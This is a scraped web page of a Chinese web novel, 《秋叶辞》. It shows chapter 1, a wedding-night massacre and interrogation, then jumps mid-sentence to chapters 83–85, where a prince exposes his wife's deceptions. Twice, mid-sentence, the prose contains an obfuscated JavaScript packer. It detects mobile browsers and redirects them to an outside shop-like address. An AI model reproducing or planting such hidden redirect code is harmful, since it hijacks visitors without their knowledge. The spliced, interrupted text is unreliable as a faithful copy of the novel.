《秋叶辞》 1. 惨案 《秋叶辞》全本免费阅读 日月合璧,五星连珠,据说今日乃大晋百年难遇的大吉,宜嫁娶,宜祭祀。 她的新婚老丈夫却突然暴毙。 彼时刚下过一阵轻柔微雨,夜幕笼罩,整个将军府原是沉浸在一片迎娶新妇的欢愉气氛之中。如今外面却传来声声惨叫,不绝于耳。 这秋日微凉与鲜血终是掩了大喜大吉。 支摘窗被撑起了一条缝,寒风借着微弱的声音,偷偷潜入进这大红色的婚房之中,花烛摇曳,鬼魅一般纠缠着躲在柜后,身着嫁衣,头戴凤冠的少女。 喜房刚被人洗劫过一番,洒落一地的酒水与黑血,连带着被踩碎的桂花糕和撕破的红纱。 姜秋叶一动不动,手上还拿着刚饮完,未来得及放回去的合卺酒杯。 人畜无害的脸颊没有一丝情绪表现,只是感受着屋外的氛围,手指轻轻摩挲着杯缘,略微烦躁。 她伸出头,看着躺在地上已经开始冰冷僵硬的尸体,老丈夫死时满脸震惊,一手指她颤抖,说不出话。如今双眼翻白,口中依旧源源不断地流出黑血,四肢经过剧烈抽搐后扭曲成了一副诡异的模样。 真是晦气不堪。 “砰”一声,巨物砸至外墙,紧接着是一道星点状血痕喷溅在窗棂之上。 一凄惨尖叫停止后,脚步声便也快速远去。 姜秋叶看着那道血痕一颤,终于有所动作。她来到妆奁前,将笨重的凤冠取下,抽出一截红飘带将披散的头发随意往后一绑。 又从小柜中翻找出一把匕首,这是房间中唯一的利刃。 如今必须离开这里,既然老丈夫已死,便没有再留下的必要。 姜秋叶轻手轻脚来到门旁,缓缓推开一条门缝,见四处并无那没了理智的黑衣人。只是门口躺着一具婢女的尸体,被利落割喉,死不瞑目。 再三确认后,姜秋叶一脚将婢女尸体随意踢开,跨步出了喜房。 也不知是哪位仇家,竟如此憎恨这将军府,连这婢女小厮都不肯放过。 姜秋叶七弯八拐,一路快步朝着将军府大门走去。秋雨冰凉,忍不住发了几个颤,脚步却是不停。 中途偶遇几个黑衣人,姜秋叶不愿与其过多周旋,便寻了间柴房躲避这祸事,悄悄拿出刚才寻得的匕首。 柴房外路过两三人,带着模糊而粗旷声:“人呢?刚才不是过了一身影么?好像是个女人。” “你看错了吧,我可没见甚人影。张家人已经死得差不多了,上面传令撤离。快走吧。” “撤退了?快走快走。” 少顷,外面便没了动静,只剩下空荡黑夜。 算他们运气好。 姜秋叶缓了缓呼吸,拉开歪斜的木门,走出柴房。 正行至抱厦之时,还没反应过来,一声乱哄哄的马蹄声至,将军府大门骤然间被强行砸开。 束束火光涌入庭院,身着银色铠甲的骑兵们将整个将军府包围至水泄不通。 “羽林卫!不要动!” 为首之人骑坐于高大黑马之上,缓步踏入门廊,宽肩窄腰,身披黑色大氅,眉峰犀利,下颌轮廓锋利,沉默地扫视着周围遍地的尸体。 火光闪烁之下,姜秋叶却能略窥其身体似有些与常人不同,带着些许病态与精瘦。 姜秋叶蹙眉,来不及闪躲和调整表情,直接撞入了这人的眼眸之中,似是置身冰冷地窖般,寒意顺着脚后跟爬上脊椎。 两名甲卫见这姜秋叶竟是唯一活人,便快步上前压住姜秋叶,使其跪于地上。 她只恨这时运不好,都快到了正门,如今怕是走不了了。 不,她这一生的时运都不好,也许今日的一切突发状况,都是她一生的时运所造就。 姜秋叶心生委屈,紧接着便红了那双桃花眼,朝着男人软软糯糯地开口:“大人,民女冤枉,民女一直躲于房中,刚是见外面安全,才出来的。” 男人却只是轻轻一瞥这梨花带雨的美人,无动于衷地扭开头,一句话不说。 这人难不成是哑巴? 姜秋叶心头一紧,这常人见美人落泪,不都会色欲熏心…… 不对,是心生怜悯么?可他也不让这两个没眼力的士兵将她放开。 难搞…… 男人没有发话,最后还是给了甲卫一个眼神,姜秋叶便被拉起站着等待。 羽林郎在府中四处搜寻翻找。 不一会儿,便有人上前,朝着为首男子拱手禀报道:“王爷,这府中之人,小厮,丫鬟,府兵,包括女眷都死于割喉,一刀毙命。杀手似乎有所察觉,提前撤离了。” 王爷? 如今封王,还仍被允许留京中之人,除了大晋二皇子梁王,四皇子魏王,便是圣上胞弟祈王。 这人或许是这几人中一人。 突然另一人快步奔前,厉声道:“报,王爷,新房内发现尸体,与其他尸体不同,似死于毒杀。” 这人说的定是她那老丈夫。 姜秋叶心中晃了晃,面色不显,依旧是金豆子大颗大颗往下落,低声泣泣:“那是……是我夫君……” 字字句句,我见犹怜,美人便是翩若惊鸿,宛若游龙。 拉着她的两士甲卫对眼相看一瞬,原来这便是将军府新妇,两人手似乎悄悄缩了缩力道。 “带路。” 原来这人并非哑巴。 声音还……挺好听…… 姜秋叶悄悄抬眼一瞥,见男人翻身下马,几名甲卫引路,一路跟随往婚房而去。 见状,姜秋叶便也被拉住她的两人推着一同前往。一路奔逃出来时太过着急,又绕了不少小道,她并未留意过四周。如今一路径直,才发觉这将军府中确是尸野遍地,满地鲜血散发着一股腥臭。 她只能表现得极为惊恐,瑟瑟发抖到走不动道。 她的老丈夫身份地位显赫,平徊一役后被圣上亲封大晋二品骠骑将军。全家惨死,她既错过了最佳离开的时机,如今怕也是离不开盛京。 姜秋叶看着前方稳步前进的高大男人,不免有些心慌。 她见到此人第一眼时的神情,便感到是个不好糊弄的。 绕过最后一善喜堂后,终于又回到了姜秋叶最初所在之地,老丈夫惨死的喜房。 男人入内后并未第一时间查看尸体,只是看了一眼身边的人,几个仵作便上前翻动尸体。而他只是在房中四处走动,抬手随意拉开姜秋叶的妆奁。 等待仵作简单验尸期间,终于转回头盯着姜秋叶,微微眯眼道:“张夫人,请交代一番你所见的案发经过。” 姜秋叶听闻这称呼心生些许不喜,却还是压下,面上仍是满脸泪痕,一扫躺在地上的老丈夫,似乎又忍不住哭了出来,顺带打了个嗝,才道:“大人,恕民女实在不知今晚是何人如此凶残。当时到了洞房吉时,我与夫君正饮完合卺酒后不过一弹指,他便突然腹痛不止,吐了一地黑血,然后便不省人事了。” 说着,姜秋叶悄悄抬眸一扫男人的眼神,又继续道:“后来,我本想出房找婢女,结果听到外面似有刀剑的声音,以及一群乱步之声,我一时害怕,便在房中躲了起来。那群黑衣人进入房中后随意搜了一番,没发现我,便离开了。” 男人颔首,走近床榻旁,又一查死者所倒地之处,面带寒光重新看向不远处的姜秋叶,道:“据你所述,饮完合卺酒后便中毒吐血,你们距离如此相近,死者死前面向床榻,又是备于行房之时,为何你身上干干净净,无一丝血迹?” 姜秋叶心里咯噔一下,低眸蹙眉,抬眼后又是一副无辜的模样,金豆子止不住地掉落一地,颤颤巍巍道:“大人,我夫君喝完酒后便腹痛,我见状立刻起身,本想向外叫人,还未来得及走远,他便吐血而亡了。大人您不会怀疑民女吧,民女手无缚鸡之力,又无寸铁,如何杀得了这园中几十号人,更何况那府兵……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903799|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义做此事,以圣上的名义。” 明月不懂,却也应下。 如今她也不能一人翻山而走,便只能忙碌些许,压下心中焦虑慌张。 果不其然,两日后,皇帝亲派了李公公来她的住处,私下赞赏了她几匹绸缎。 …… 季辞回到盛京已些许时日,他每日马不停蹄地处理公务,将脑海中杂乱无章的猜想全赶走。 “王爷,京兆少尹求见。”天去入书房后禀报。 “京兆少尹?”季辞停下手中的笔,吩咐天去将人请进。 他平日里从不会过问京兆府的民间案件,除非有何悬案,他们无法破解,便偶尔会来寻他提点。 京兆少尹进入王府后,先向季辞恭敬行礼。 他见此人竟如此年轻,似是几年前的探花郎,微怔道:“之前吴大人呢?” 京兆少尹回道:“吴大人年纪大了,前些时日告老还乡。下官姓顾,刚上任少尹一职不久。知王爷日理万机,却还是前来叨扰,请王爷见谅。” “顾大人多虑,之前吴大人有疑惑之处,便会来询问本王。不知顾大人今日前来,所为何事?” “回王爷,去岁京兆府曾逮捕一连环杀人犯,他多次强行入室抢劫,杀害良民。此人被捕后,便判了今年秋后问斩。只是前些天,他在狱中突然翻供,不承认他名下的一起案件。” 季辞忽然明白为何少尹找上他,定然发现了那案件中不同寻常之处。可因结案已久,京兆尹,以及京兆府中的老人们,定然不愿重花时日去调查以往案件。 “所以,此案有何不常之处?” 顾少尹见季辞听进了自己的话,松了一口气,继续道:“此案疑点有二。” “这犯人下官接触过,虽十恶不赦,却实诚,对自己所犯之案供认不讳。可偏偏否认其中一起,无论有否,他都是死刑,否认那案件,对他无利可图。此其一。” “犯人往日杀人手法皆为一刀毙命,可那一起案件中的三名死者,皆被分尸,看起来像是猛力撕扯所致。此其二。” 季辞眼眸一抬,眼底划过一丝阴沉,“三名死者?是何案件?” “是三名男性尸体,被分解埋藏于京郊,却逢秋雨,冲散了泥土,被路过的老朽发现。” 三名男性……秋雨…… “何时发生的事?” “去岁九月底。” “具体时日。” “九月廿五。” 季辞垂下头,死死攥着腰间的荷包,细细回忆。 他记得,那个日期前后,安国公曾派出三人监视邱子叶。后来金品阁中,天去与暗卫禀她失踪,他当时着急,带人围了那金品阁,确实不见其人。 可后来,她却突然出现,而似乎也是同一时间,那三名跟踪她的男子消失不见。当时他虽心存疑惑,却因张家案件一事,并未对那案件之外的人过多关注。 难道,他的小妻子,竟真是这案件真凶? 他面不改色地安抚了顾少尹一番,将人送走,坐回书房,按压着太阳穴。重新回忆分析他这些天一直在逃避的疑惑。 曾经跟踪她而消失的三人,簌簌死亡经过,突然离开的槿红,她的箭术与身手。 将这一切串联之后,他只觉剧烈头痛。 “天去!”他朝书房外厉声大喊。 “王爷有何吩咐?” “你派人下一趟梧州,将王妃过去所有经历都调查清楚,拿来给我。” 天去一怔,不明白此举何意,却也立即道是。 窗外吹落几片花瓣,飞停在他书案之上。他轻轻将其捡起,放在鼻尖一嗅,忽而又想到了什么,面无表情补充道:“对了,还有梧州时期的邱子叶画像,一并带来。” 84.疼痛 第八十四章 路途上的一番耽搁,姜秋叶回到盛京已是半月之后。天气愈暖,盛京花开得愈发旺盛,可她却无丝毫观赏心境。 入城之后,她便牵来了自己的小白马,朝着祁王府一路狂奔而去,当赶到王府时已是酉时末刻。 “王妃回来了。”王府大门推开,符叔见到她立刻弓着腰迎了上来。 压下心中躁动,姜秋叶一言不发,下了马,她渐渐加快了脚步,直往归鸿院飞奔而去。 到了书房门前,她停下,深呼吸一口气,又扶了扶头上簪钗,再整了整衣冠,抬起手正要推门时却又犹豫住。 放下手后,她拉起自己的衣襟闻了闻,一股淡淡汗味扑鼻而来,在她转过身时,符叔才姗姗跟来。 “王妃,老奴还未来得及与王妃说,王爷今晨去了刑部,此时还未回来。” 心中的一股火气在符叔的话语后逐渐平息下来。 回盛京这些时日,她急不可耐,生怕中间不见,横生枝节。刚才火急火燎来了书房门口,她却突然又生出胆怯。现如今符叔一句话,让她开始重新去思考这些时日不曾考虑过之事。 她本想着那事态极其严重,可如今冷静思索,或许境况没有她预想的那样糟。 让下面的丫鬟为她准备了热水,在做了数日野人之后,终得舒服在热水中沐浴一番。洗漱干净后,又换上了季辞平日喜爱的一身月白绢纱罗裙,用一根简单的玉簪将头发半挽,而后又入了后厨,盯着厨子们准备了一桌晚膳。 看着刻漏上时辰,猜想着他回来的时间,便一如既往站到王府门口静静等待。 月朗星稀,季辞回家时天色早已暗沉。 他一下马车,第一眼见到的,便是他那站在门口的小妻子。她靡颜腻理,唇角微启,酒窝浮现脸颊。 月色之下,光似流水,慢慢游移在她的额间,犹笼罩轻纱的梦境,四周落下斑驳参差黑影,稀疏婉转,虽是满月之时,却依旧显得有些虚假。 两人在见到对方时都没有动弹,只是见她眸光中的云层,让他第一次细细观察。不知过了多久,才发觉她已站在自己跟前,微微低头,便见矮了一个头的她仰眉,浅言轻笑。 “夫君终于回来了,叶儿等了许久。夫君饿了吧,同叶儿一起用膳可好?” 季辞有些迷茫,她的神情中不带任何心虚与不宁,没有曾经被戳穿一切的忧虑。 他没有回答,姜秋叶却也不在乎,只是微微笑着牵起他的手,见他未拒绝,便又加了些力,将他往府中带去。 用膳之时,季辞不发一语,她便也安静十足,大部分时间都在给他布菜。她夹上什么,他便吃下什么。 不同于她与皇帝那番话,季辞如今的病症好了九成,大部分时间甚至不需要辅以药膳,便能正常进食。 这让她很满足。 见他吃饱下箸,她也跟着停了下来,柔柔看着他,轻声细语道:“夫君如今不生气了吧?” “生气?”季辞看着她有些气笑,“邱子叶,你还要装到什么时候?” 这是可以用“生气”一词一笔带过的么?杀了簌簌还不够,明明承诺过他良善做人,却对赵婉儿又动了杀心。如今他强烈怀疑她所杀之人不止簌簌,那三名跟踪者,或许更多,还有谁? “夫君?”姜秋叶见他态度,似乎有些不解,“叶儿确实杀了簌簌,这我承认,可是夫君不是说过,不再追究此事吗?而赵婉儿,她想害我在先,而我也并未杀了她,便算不得违背承诺,不是吗?夫君。” 季辞被她的话怼到不知如何开口。 她面不改色,继续柔声道:“夫君抛下我一人回了盛京,如今过去这许久时日,气也该消了吧。赵婉儿心悦夫君,这叶儿看得出来,叶儿之前不过是嫉妒表姐罢了,这都是因为叶儿在乎夫君啊。” 他一阵冷笑,“在乎?你可真心在乎?你究竟骗过我多少事情,你数过吗?” 姜秋叶垂眸,片刻后,直接抬手,将身上轻纱上衣褪下,露出了她瓷白的肌肤。季辞一愣,没想到她竟在下人面前,大庭广众下做出此等行径。 他立刻挥手,符叔等人低着头不敢看两人模样,弯着腰立刻退出膳堂。 她却根本不在乎,只是拉起他的手,轻轻放在她胸口那道伤疤之上,凸起的皮肤与四周蛋白皮不一样。丑陋,粗糙,泛着深红的颜色。他的指腹之下,是曾经那道为他豁出性命的痕迹。 他的手,连带着身子一同僵住,心绪翻涌,不知如何表现。 姜秋叶压住他的手掌,让他彻底将自己包裹,淡淡笑道:“夫君,叶儿是否真心在乎,你难道还看不到吗?那现在呢,现在能感受到了吗?” 手下的触感让季辞蹙眉,将其从她的柔软处抽回,压着嗓子道:“把衣裳穿好!” “好。”她动作缓慢地将上衣重新穿上,系好系带,做出一副乖巧听话的模样。 他定了定神,重新看回到她温顺的脸颊之上,沉声道:“叶儿,你究竟有没有骗过我?” 还未等她回答,他又继续道:“模仿笔迹,躲开暗卫,以一人之力击杀猛虎,还有如此出色的箭术,这些你难道就不解释了么?” 姜秋叶眨了眨她的桃花眼,不带任何慌张,道:“夫君,这些重要吗?难道因此,夫君便不要叶儿了吗?” 她贴上前,靠近他,温声道:“夫君,你是心悦叶儿的吧,这是你亲口说过的。叶儿也心悦夫君,叶儿不能没有夫君,只要夫君不抛弃叶儿,这便够了,其他什么都无所谓。至于夫君所说那些,夫君定然也能做到,夫君既然能做到,叶儿便不能吗?” “简兮哥哥,难道你真的......不要叶儿了吗?” 季辞发觉,面对这样油盐不进的她,他愈发头疼,拿她毫无办法。 他从小跟从大儒,饱读圣贤,制定律法,从来都严于律己。可自己亲自求娶的妻子,自己此生唯一的女人,却是一个没有道德观的杀人犯。 仅仅因为一己私欲而杀害无辜之人。 他甚至为了她徇私枉法,还威胁送离了赵婉儿。即便到了如今,他还在期待着或许不可能之事。 将她推离自己,定定看着她,失望道:“所以连杀人,害人,都无所谓是吗?” 姜秋叶停滞了一会儿,而后又笑着看向他道:“不过死了一个陈簌簌罢了,赵婉儿也并未死,只是受了箭伤而已,那有什么。夫君不也曾先斩后奏,杀了那高县令吗?更别提战场那些皑皑白骨。只要简兮哥哥仍然爱着叶儿,所有的一切便都无所谓。” 他愣住,冷笑着摇了摇头。 他不知如何反驳。 可到了此时此刻,他才发觉,眼前这个女人根本不正常,用疯子来形容她或许也不为过。 疯女。 她自私自利,心无善意,本以为曾经被发现簌簌一事,她会对此悔改。原来,她打心底不曾后悔。或许她唯一后悔的便是不够小心,让他发现罢了。 而她,到了如今,对于他的问题还在顾左右而言他。 多年病体,心中麻木,他二十有三,却似已是耄耋之年。 是她撕裂了一个口子,安抚了折磨他多年的腥味,带动起他浑身激荡的血液。不知何时起,她所有的一切都在牵动他的情绪,她的美貌娇气,似乎让他回到曾经辉煌的时光,年少的自己。 心底的,身体上的,一切都为她所悸动。他曾对她有多少期待,如今便有多少失望。 他终于明白,他喜欢上的,是一个彻头彻尾的疯女。 此时此刻,他发现自己甚至不敢问她曾经那被分尸的三名男子,也不敢问出他这些天所有的疑惑,不敢告诉她,他正派人下了梧州亲查她的身份。 一番挣扎后,只能咬牙问道:“叶儿,你究竟,还有没有什么骗过我?” 她抿了抿唇,掐住自己掌心,没有躲避他的视线,轻轻摇了摇头。 季辞苦笑着颔首,起身,抬手制止了她的跟随,转身声音凝涩道:“天色已晚,王妃早些歇息,本王还有公务处理,先回书房。” 顿了顿,他悠悠道:“你放心,你曾为了本王以命相博,你也用心将本王病症治愈,你永远都是本王的王妃。本王为你徇私枉法,也将赵婉儿送回南部,那日之事,不会有第三人知晓。本王已仁至义尽,不会再有下次。未来如何,你好自为之。” 他艰难地说完,手慢慢捏紧,便不再理会姜秋叶,直接离开了膳堂。 周围寂静一片,一阵风从门外吹进,几缕鬓边发丝扬起。 她似乎抽走了所有力气一般坐回了圆椅之上,脸上笑容全数消失,心中发苦。至少她还是他的王妃,她还待在他的身边。 她卑鄙无耻地利用了他单纯的爱意以及愧疚。 她发呆良久,回到寝室后,屋内未点灯,她亦没有换去身上的衣裳,便直接躺倒在床上,麻痹到全身无法动弹半分。辗转一路,她异常疲惫。 心口早已愈合的伤口不知为何,骤然疼痛了起来。 她抬起手揉揉那道疤痕,痛感却挥之不去。 伤口究竟为何这样痛? 她究竟怎么了? “姜秋叶,你可真够蠢的,连自己动心都不晓得。” “你就是为了你自己,你就是爱上那人了!秋叶大人!” 槿红离去前的话语开始一句句划过她的脑中。 如今她早不得不承认,她真的对季辞动了心。 所以她曾经才那般嫉妒赵婉儿,嫉妒到想杀了她,才会因他淡漠的态度而如此焦急忙慌,所以这伤口才如此之痛。 这该如何是好? 她这样的人,也有动心的权利么? …… 她彻夜难眠,季辞也并未回寝室睡觉。直到天亮之时,才迷迷糊糊睡去。等到她再次醒来时,已是下午,他也早不在王府之中。 夜晚到来之时,她一如往常那般,打扮过后站至王府门口等他归家。尽管他话语不多,她还是轻轻牵起他的手共同用膳。 晚膳完毕之后,又笑着伺候他沐浴,似乎两人什么都没发生过一般。 差不多时辰,他拒绝了她的伺候,让她离了净室。半晌后,出浴桶,将身子擦干走回寝室。 明月这些时日似乎察觉到了王妃与王爷之间的龃龉,身为下人却不敢多提。她将水壶中的水斟满,放置案几之上,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12923954|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心翼翼窥视着王妃面带淡笑的神色,手肘无意间碰倒了瓷杯。 姜秋叶在那杯子掉落地上前,伸手敏捷地接住,不动声色地放回案几,让明月退下。 刚才那一幕被季辞全程看在眼里。 他垂下眸,神色加深。也是今日,他才注意到她的动作竟如此迅敏,连他都还未反应过来,那瓷杯已经回到了桌上。 苦涩一笑,他走回床榻边,无视了她快要化为实质的视线,自顾自将头发烘干,而后直接躺下闭上眼睡去。 姜秋叶熄了灯,有些丧气,轻手轻脚爬上床里侧,看了他许久后,还是没有了像以往那般靠近和撩拨他的勇气,转过身闭眼。 她费尽心思,保住了自己的位置,如今他的沉默,却像一个巴掌重重扇在她的脸颊之上。没有半点欣喜便不说了,反而是郁闷与难受愈发深刻。 往日,她说哭便能哭。现如今,不知为何,却一滴眼泪也无法流出。只觉得心中火烧一般,胸前那伤口的疼痛,一日比一日加剧。 许久之后,她才睡了过去,呼吸渐渐平稳。 季辞黑夜中睁开双眼,侧过头看着已经睡去的她。在适应黑夜之后,月光落于她的脊背,更加清明。 她穿着轻薄的寝衣,透明的布料之下除了她的蝴蝶骨,还有一道巨大的伤痕。 是猛虎留下的爪痕,他竟从未注意到。 他心头一颤,轻轻撑起自己的身子,俯身过去,借着月光查看。那道伤从肩膀连接至蝴蝶骨下方,可窥当日与猛虎搏斗之激烈与险峻。 他伸出手,却没有触碰到那已经愈合的伤口,隔着距离,从上至下,缓缓描绘而过。 不知多久,他才躺回原处,眼睛却依然盯着那处伤。他在感叹她背部与胸前分别的两道伤时,忽然意识到,她似乎受过很多伤。 鞭伤,手心的刀伤,从未真正留下过任何痕迹。每过一两月,伤痕必定消失无踪。 该拿她如何? 这个让他一会儿爱,一会儿恨,一会儿怜惜,又一会儿气愤的女人。他本再也不想见她这张脸,却实在做不到如此冷漠无情。 寝室之外,风刮得越来越大,似乎永不停歇。 次日醒来,季辞又是早已不见,她心中茫然。 而他似乎想通了什么,再也没有躲避她。从那日起,便每天回了寝室睡觉。可是他每每躺上床便沉睡过去,再也没碰过她。 她依旧每日晚间府前等待,拉他一同用膳,再分别沐浴后直接上榻。日复一日,只偶尔白日受邀出席宴会,或是采买些许药材。 没有关系,只要能留下来便好。 只要她不再暴露更多,不让他查到自己的真实身份便好。日后该做什么,继续做,兵来将挡,水来土掩。 她参加完一场安阳公主举办的宴会,从公主府出来,上马车时突然注意到远处似有一人影掠过。 当她再次看去却没了踪影。 那人背影像极了槿红,她心中隐隐不安。 当日槿红离去后,她再三告诫过不许其再出现于盛京。槿红知晓她所有的事,她本应直接杀了此人,最后却还是心软将其放过。 如今她自己在季辞那里可以说是岌岌可危。若是槿红被季辞发现,那便会有更多曾经隐瞒欺骗他的事暴露出来。 她很确定,他不会再纵容自己了。 姜秋叶用力掰着马车门框,低眸思索一番后往那身影方向追去。 走过拐角,只见路上行人行色匆匆,小贩熙熙攘攘,哪儿有槿红的身影。 明月不解跟上前,倾身看了一眼姜秋叶视线所在,问道:“王妃,怎么了?” “没什么,刚刚以为看到一个熟人,发现是自己看错了。” 她摇了摇头,在明月的搀扶下回了马车离去。 或许是因为近日心中的不安与烦闷,今日又在宴会中饮了酒,定然是她太过敏感,对事一惊一乍。 王府的马车顺着街道缓缓离去,跟随马车的护卫也一同离开。 在街角的一家香料铺子中,一女子终于露出了她的身影。幂篱将她的面孔遮掩,一阵微风吹过,露出了下方的脸颊,是许久未曾出现的槿红。不同于以前的是她的面孔,一块巨大的圆形黑色疤痕横亘在她的额头。 她抬步缓缓走出门槛,下了台阶,看着远去消失的马车影子。 槿红眼中露出了犹疑,她双拳攥紧,心中懊恼。 那日离开姜秋叶后,她本想回飞燕阁,可却没想到飞燕阁如此容不下任务半途而废的细作。 她为了保命,在阁主面前告知姜秋叶要她杀害涿竣王一事,却没想到阁主不仅没想着把姜秋叶抓回,反而将她关了起来,处以残酷药刑。 她知自己再待下去或许命不久矣,便杀了送饭之人,想方设法逃了出来,一路快马加鞭回了盛京。终于让她看到了姜秋叶,那个女人一天比一天美,而她现在却丑陋不堪,难以见人。 她想要做点什么,却不知该如何行动,毫无计划。 这时,她突然想到了季辞。 若是她能找到季辞,在他面前将姜秋叶告发,或许......他能在那飞燕阁的追杀之下保住她? 85.揭发 第八十五章 正值四月新夏,庆安寺中香烟升腾,雾气缭绕。寺庙立于青山之上,四周层峦叠嶂,远眺便是盛京与河流,风过树鸣,空灵是以涅槃之地。 季辞似是突如其来,抽出了空闲,陪着赵氏入寺听经。 两人听完经,一同用过斋饭之后,便搀扶着她一同下山。 赵氏有些气喘,寻了阶边一石凳坐下休憩,看着正在观景的季辞,道:“近日来,辞儿似有心事。听闻你将婉儿送回南部去了。” 季辞一怔,转头看回她,道:“太奶奶见谅,表姐心性不定,王妃总是因此不安。同时圣上如今心中对孙儿也是防备多过信任,孙儿对表姐的南部士族势力无意,便不如将她送走。” “原来如此,婉儿离开前至我跟前哭诉,她照顾伺候我许久,没有功劳,也有苦劳。不过这般也好,免得她总生出不切实际的想法。辞儿向来有主见,既然你如此说,太奶奶老了,这些事便由着你去。” 赵氏拍拍他手,顿了片刻后,问道:“你近来与王妃可好?” 他笑了笑,有些扭捏道:“太奶奶,实不相瞒,孙儿现在......有些想她。” 周边是潺潺溪水声,犹如玉珠落地溅溅,嘴上这般说着,眸中却是暗淡。 见赵氏没有反应,继续道:“太奶奶勿忧,王妃活泼可爱,仿佛有用不完的精力,如小太阳一般。她对孙儿很好,照料体贴得当,精心治愈孙儿病症,平日王府下人也都喜她......” 这些都是真的,除了她那满口的谎言,与表里不一的心性,而喜她的男人似乎也不少。 “那便好。” 赵氏定定看着他,没有过多言语,转头同样望着远方,忽道:“今日听经,可有何感悟?” 距离得近了,他所有的神态皆入了赵氏之眼,知他这些时日情绪不高,又想到他曾经坎坷,心中难免担忧。 季辞发呆思索一番,随即笑道:“经书所言,‘凡所有相,皆是虚妄。若见诸相非相,则见如来。’世间万物或许如此,所见所闻皆由心悟。” “看来你是真的很喜欢她。” 季辞一滞,有些不自然地摸了摸鼻尖。 他承认,自己被她皮相所惑,如今知晓她真面目,更是不知如何与她相处。今日才突想来寻求一番解答。 “日后多带她来太奶奶这里,佛心佛性,普度众生,太奶奶也想时常有人相伴。”赵氏又笑道。 季辞答应的话到嘴边又吞了回去,只是朝着她不自然地笑了笑。 看向不远处,一家三口来这寺中敬香。 他们身着简朴素衣,看起来便是一平民之家。家中四五岁大的女儿走不动路,那父亲将其捞起,让她坐于肩膀之上。 天气渐热,他额头出了些许汗滴,妻子笑着从怀中掏出手帕,轻轻将他额上汗液擦净,两人相视一笑。那肩上的小女儿见状将自己眼睛捂起,也咯咯笑着。 很简单的画面,却让他忽生羡慕。 “太奶奶,我想回去了。”他骤然起身,心中似乎愈发难以承受与等待,只想快点下山去见她。 不管如今两人关系多冷淡都好,不管有何隔阂,哪怕没有碰触,只要见她一面就够。 似乎他这一生,从未有过如此刻一般,渴求着见到一人之面,听她几声喃喃细语。 这些时日,分明与她近在咫尺,却又似天各一方。也是这一瞬间,心中似乎又多了许多言语,想对她脱口而出。 赵氏见状仰面大笑,看着陷入了情爱的孙儿,也让她打开了年轻时那尘封的记忆。 “辞儿着急便先行下山吧,不用担心太奶奶。我这里人多,来这庆安寺也是多年,我再坐坐,之后会自己回宫。” “是,太奶奶。”季辞转身朝着她行礼后,便两步并作一步,往山下而去,似乎恨不得能飞跃而走。 他血液沸腾,顾不得太多礼仪,难以按捺到赵氏下山。 天地太过广阔,而他心太渺小,小到只能容下这一人,便无更多。 打马经过盛京城中,他无意见到一珠宝铺子中一件珍珠所连接制成的外衣,泛着幽幽微光。 他停下马,走入铺中,忽而幻想到她穿上这件珍珠衣的模样,心中柔软起来。 这衣裳看起来太过庸俗,可他的小妻子若能穿上,定是美轮美奂。 下马走入铺中,直接让掌柜将这珍珠衣包了起来。 “好咧,客官!这是送给家中夫人的吧。”掌柜笑着将衣服装好,递给季辞。 他想到那个喜爱俗物与攀比的小妻子,微微勾唇,道:“是。” 掌柜笑眯眯挥手告别,“祝客官与夫人白头偕老!” “借你吉言!”他原本阴云密布的心情因此一句话,竟拨云见日。 当他骑马赶回王府之时,天色还未黑。入府寻了一番,未见到她身影,便向下人一问,才方知她去了公主府赴宴。 吐出一口浊气,心底躁郁难消,看了看还有些早的天色,压制住了去公主府寻她的欲望。将手中的珍珠衣放置寝室床榻之上,伸手轻抚一番后,便只能坐回了书房之中处理公务。 屋外光影斑驳,他落座后注意到书桌上多了一份卷宗。应是他不在时,天去放过来的。 他伸手拿起,将其展开,而后立即顿住。 骤然间,屋外树叶在狂风之下飞速摇晃,发出碎裂之音。 “天去!”季辞怒吼,双手收紧,手上的卷宗被捏皱。 “王爷,何事?”天去听到那声音中充满怒气,不明所以冲进书房。 季辞抬了抬手上的卷宗,问道:“这是何物?” 天去没有打开过那卷宗看过,不知里面内容,却知这是王爷所要求去查探之物。 “王爷,这是您要求属下派人下梧州,去寻到的画像。” 没错,他手中卷宗,正是梧州邱子叶画像。 画像中女子,美则美矣,黑眸乌发,却根本不是他的小妻子。 那脸要更尖些,眼睛也非桃花眼,而是一双丹凤,嘴唇也更薄。那脸上所带着的,是一股艳丽的气质,可以说,与安国公更像些许。 他不由发出几声冷笑,将手中卷宗用力砸了出去,碰倒了柜子上的花瓶,两相摔落地上,花瓶碎了一地,而那卷宗还带着被捏坏的痕迹。 他双手撑住案几,将双眼闭上,微微发颤。他最害怕的答案,果然还是逃不掉。 原本想见她的那股躁火在心底慢慢浇熄,取而代之的是刀割一般的疼痛与迷茫。 精明了一辈子,竟然真的败在曾经他最为不耻的美人计之上。 可是,她为何还要在刺客的剑下,豁出性命去救自己? 他忽然又睁开双眼,皱眉思索,片刻后,又坐了下来。 或许她是真的欣悦自己?否则哪怕她不是那邱子叶,又何必将命给赌上? 那剑离她心口仅半寸,她可是真的差点儿就死了。 天去在一旁站着不动,不知究竟发生了何事,只是低下头不敢发声。 季辞正平静下来,书房门忽然被符叔敲响,声音在外响起,“王爷,府外有人求见王爷,蒙着脸,她说她是……” 季辞抬起头,看着被隔绝的门没有出声。 “……是槿红。说有关王妃之事,要告知王爷。” 他垂眸眼神黯淡,起身将地上那卷宗拿起,走到墙壁边打开一处暗格,将其放入。 